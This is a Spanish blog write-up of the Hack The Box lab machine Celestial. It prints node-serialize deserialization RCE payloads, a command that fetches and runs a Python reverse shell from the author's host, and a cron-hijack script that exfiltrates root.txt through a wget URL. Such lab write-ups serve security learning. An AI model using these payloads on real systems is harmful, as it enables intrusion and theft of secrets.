[HTB write-up] Celestial


00 - recon

[*] - nmap

Nmap solo muestra el puerto 3000. Con un servidor Node.js a la escucha.


[*] – burp suite
 
Si llamamos con un GET y con la cookie que nos da el server tenemos un mensaje un tanto loco:


2+2 es 22 si.. si lo tomas como un char. Veamos que tiene esa cookie que viene codificada en base64. Darse cuenta también que burp nos está dando el ‘=’ como ‘%3D’ (al final).


Si observamos esos 4 valores rápidamente nos vamos al 2, que si nos da por modificar su valor, a un 5 por ejemplo, nos devolverá: Hey Dummy 5 + 5 is 55. Lo dicho, num se está tomando como un string y se está mostrando por pantalla.

Hay algo mas de info si rompemos el base64 y se lo mandamos...


[*] - node-serialize

Buscando un poco damos con algunos ‘pocs’ de explotación en la función unserialize() del módulo node-serialize:

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

https://blog.websecurify.com/2017/02/hacking-node-serialize.html

En definitiva, si al server le diera por pasar alguno de los parámetros que manejamos en la cookie por la función eval() podríamos tener ejecución de código, y esa suma de strings que hace (‘num+num’) tiene pintaza!

01 – gain_access

[*] – testing unserlize()

No soy un experto en js y esta parte me ha costado probar unas cuantas veces. Pero finalmente di con la siguiente estructura válida.
_$$ND_FUNC$$_function (){
    eval(require('child_process').exec('wget http://10.10.15.214/test', function(error, stdout, stderr) {
        console.log(stdout)
    }))
}()


Eso funciona, tenemos RCE!
 
[*] – python reverse shell

En este momento tenemos mil maneras de ganar shell, vamos a ir por la vía fácil. Concatenando comandos vamos a descargar en el server una reverse shell en python y que se ejecute. Podemos concatenar comandos con ‘;’
_$$ND_FUNC$$_function (){
    eval(require('child_process').exec('wget http://10.10.15.214/sh3ll.py -O /dev/shm/r0s4.py | bash;python
/dev/shm/r0s4.py | bash', function(error, stdout, stderr) {
    console.log(stdout)
    }))
}()


 [*] – user sun
 
Buscando el archivo user.txt llegamos a la carpeta ~/Documents donde encontramos un script en python de nuestro user, al que si le hacemos un cat podemos leer: print "Script is running...". Esto no parece ser suficiente para escalar a ningún sitio, pero si nos fijamos en el home hay un archivo interesante. ~/output.txt


Ese archivo si es de root y tiene el string que estaba imprimiendo ~/Documents/script.py ... se masca la tragedia.

[*]– group adm

Resulta curioso que el user sun pertenezca al grupo adm, y si buscamos que permisos extra nos aporta esto sobre algún archivo damos con algunos reportes en /var/log/ entre ellos ‘syslog’

Apr 14 11:35:01 sun CRON[4150]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py
/home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d
"$(date -R -r /home/sun/Documents/user.txt)"

Apr 14 11:40:01 sun CRON[4421]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py
/home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d
"$(date -R -r /home/sun/Documents/user.txt)"

Se venia suponiendo; root ejecuta scrypt.py y vuelca su salida en output.txt, después hace una copia del /root/script.py en ~/Documents/script.py y le cambia los permisos de user y group para sun. Todo esto cada 5 minutos. Muy bien admin...

02 – privesc!!

Esto ya está fácil, cuestión de modificar script.py y esperar 5 minutos. Vamos a mandarnos la flag de root y nos piramos. Como hay mucha gente “jodiendo” hay que estar rápido a la hora de sustituir el script, la peña está esperando al ultimo segundo para dar el cambiazo... es gracioso. Voy a hostearme mi propuesta de script y hago un wget en el momento justo:

script.py
#!/usr/bin/env python
import os
os.system('wget http://10.10.15.214/$(cat /root/root.txt)')
print "f4ckU"


Hago “rm script.py; wget http://mi-ip/script.py” justo a las 12:05:00, el mismo servidor http que está hosteando el script.py será quien reciba una petición con el contenido de root.txt.


Toma puntería!

Contribución gracias a @Dr.Zaiuss

Comentarios

  1. Esas maquinas aun se pueden descargar?

    ResponderEliminar
    Respuestas
    1. Es en https://www.hackthebox.eu/ y no, no se pueden descargar

      Eliminar
    2. en HTB tienes la opción de pago, por la cual si que puedes realizar máquinas retiradas. No se pueden descargar, pero si hacerlas.

      Eliminar

Publicar un comentario